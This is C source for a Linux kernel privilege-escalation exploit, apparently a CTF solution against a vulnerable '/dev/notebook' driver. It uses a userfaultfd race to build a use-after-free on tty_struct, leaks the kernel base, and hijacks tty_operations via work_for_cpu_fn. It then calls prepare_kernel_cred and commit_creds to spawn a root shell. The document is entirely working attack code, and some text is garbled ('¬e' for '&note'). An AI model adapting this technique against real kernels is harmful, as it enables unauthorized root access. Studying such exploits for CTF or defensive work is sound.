1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180
| #include "mykernel.h"
#define TTY_STRUCT_SIZE 0x2e0
#define PTM_UNIX98_OPS 0xffffffff81e8e440 #define PTY_UNIX98_OPS 0xffffffff81e8e320 #define COMMIT_CREDS 0xffffffff810a9b40 #define PREPARE_KERNEL_CRED 0xffffffff810a9ef0 #define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define NOTE_NUM 0x10
struct Note { size_t idx; size_t size; char * buf; };
struct KernelNotebook { void *ptr; size_t size; };
int note_fd; sem_t evil_add_sem, evil_edit_sem; char *uffd_buf; char temp_page[0x1000] = { "arttnba3" };
void noteAdd(size_t idx, size_t size, char * buf) { struct Note note = { .idx = idx, .size = size, .buf = buf, }; ioctl(note_fd, 0x100, ¬e); }
void noteDel(size_t idx) { struct Note note = { .idx = idx, }; ioctl(note_fd, 0x200, ¬e); }
void noteEdit(size_t idx, size_t size, char * buf) { struct Note note = { .idx = idx, .size = size, .buf = buf, }; ioctl(note_fd, 0x300, ¬e); }
void noteGift(void *buf) { struct Note note = { .buf = buf, }; ioctl(note_fd, 100, ¬e); }
ssize_t noteRead(int idx, void *buf) { return read(note_fd, buf, idx); }
ssize_t noteWrite(int idx, void *buf) { return write(note_fd, buf, idx); }
void* fixSizeByAdd(void *args) { sem_wait(&evil_add_sem); noteAdd(0, 0x60, uffd_buf); }
void* constructUAF(void * args) { sem_wait(&evil_edit_sem); noteEdit(0, 0, uffd_buf); }
int main() { save_status(); bind_core(0);
sem_init(&evil_add_sem, 0, 0); sem_init(&evil_edit_sem, 0, 0);
note_fd = open("/dev/notebook", O_RDWR); if(note_fd < 0) err_exit("Fail to open device notebook!");
puts("[*] register userfaultfd...");
pthread_t uffd_monitor_thread; uffd_buf = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf, 0x1000);
puts("[*] allocating tty_struct-size object...");
noteAdd(0, 0x50, temp_page); noteEdit(0, TTY_STRUCT_SIZE, temp_page);
puts("[*] constructing UAF on tty_struct...");
pthread_t add_fix_size_thread, edit_uaf_thread; pthread_create(&edit_uaf_thread, NULL, constructUAF, NULL); pthread_create(&add_fix_size_thread, NULL, fixSizeByAdd, NULL);
sem_post(&evil_edit_sem); sleep(1);
sem_post(&evil_add_sem); sleep(1);
puts("[*] leaking kernel_base by tty_struct");
int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY); if(fd_tty < 0) err_exit("Fail to open device ptmx!");
size_t tty_struct_data[0x2e0]; noteRead(0, tty_struct_data);
if(*(int *)tty_struct_data != 0x5401) err_exit("Fail to hit the tty_struct!");
size_t tty_ops = tty_struct_data[3]; if((tty_ops & 0xfff) == (PTM_UNIX98_OPS & 0xfff)) kernel_offset = tty_ops - PTM_UNIX98_OPS; else kernel_offset = tty_ops - PTY_UNIX98_OPS; printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base + kernel_offset);
puts("[*] construct fake tty_operations...");
noteAdd(1, 0x10, temp_page); noteEdit(1, sizeof(struct tty_operations), temp_page); struct tty_operations fake_tty_ops; fake_tty_ops.ioctl = kernel_offset + WORK_FOR_CPU_FN; noteWrite(1, &fake_tty_ops);
size_t fake_tty_ops_addr, fake_tty_struct_addr; struct KernelNotebook notebook[0x10]; noteGift(notebook); fake_tty_ops_addr = (size_t)notebook[1].ptr; fake_tty_struct_addr = (size_t)notebook[0].ptr;
size_t fake_tty_struct_data[0x100]; memcpy(fake_tty_struct_data, tty_struct_data, 0x2e0); fake_tty_struct_data[3] = fake_tty_ops_addr; fake_tty_struct_data[4] = kernel_offset + PREPARE_KERNEL_CRED; fake_tty_struct_data[5] = NULL;
noteWrite(0, fake_tty_struct_data);
ioctl(fd_tty, 233, 233);
noteRead(0, fake_tty_struct_data); fake_tty_struct_data[5] = fake_tty_struct_data[6]; fake_tty_struct_data[6] = tty_struct_data[6]; fake_tty_struct_data[3] = fake_tty_ops_addr; fake_tty_struct_data[4] = kernel_offset + COMMIT_CREDS;
noteWrite(0, fake_tty_struct_data);
ioctl(fd_tty, 233, 233);
noteWrite(0, tty_struct_data);
get_root_shell();
return 0; }
|